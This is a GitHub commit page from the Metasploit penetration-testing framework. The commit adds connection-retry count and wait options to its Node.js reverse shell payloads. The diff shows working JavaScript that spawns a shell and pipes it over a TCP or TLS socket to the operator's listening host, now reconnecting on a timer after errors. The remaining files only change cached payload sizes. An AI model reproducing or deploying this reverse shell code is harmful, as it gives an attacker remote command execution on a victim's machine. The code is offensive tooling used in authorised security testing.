Skip to content

Commit a0abffb

Browse files
committed
Adding functionality of StagerRetryWait and StagerRetryCount
1 parent 374c139 commit a0abffb

File tree

4 files changed

+14
-7
lines changed

4 files changed

+14
-7
lines changed

lib/msf/core/payload/nodejs.rb

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -56,8 +56,9 @@ def nodejs_reverse_tcp(opts={})
5656
util = require("util"),
5757
sh = cp.spawn(cmd, []);
5858
var client = this;
59+
var counter=0;
5960
function StagerRepeat(){
60-
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
61+
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
6162
client.socket.pipe(sh.stdin);
6263
if (typeof util.pump === "undefined") {
6364
sh.stdout.pipe(client.socket);
@@ -68,10 +69,16 @@ def nodejs_reverse_tcp(opts={})
6869
}
6970
});
7071
socket.on("error", function(error) {
71-
StagerRepeat();
72+
counter++;
73+
if(counter<= #{datastore['StagerRetryCount']}){
74+
setTimeout(function() {
75+
StagerRepeat();
76+
}, #{datastore['StagerRetryWait']}*1000);
77+
} else
78+
process.exit();
7279
});
73-
}
74-
StagerRepeat();
80+
}
81+
StagerRepeat();
7582
})();
7683
EOS
7784
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')

modules/payloads/singles/cmd/unix/reverse_nodejs.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 2823
13+
CachedSize = 3243
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 701
16+
CachedSize = 806
1717

1818
include Msf::Payload::Single
1919
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 729
13+
CachedSize = 834
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

0 commit comments

Comments
 (0)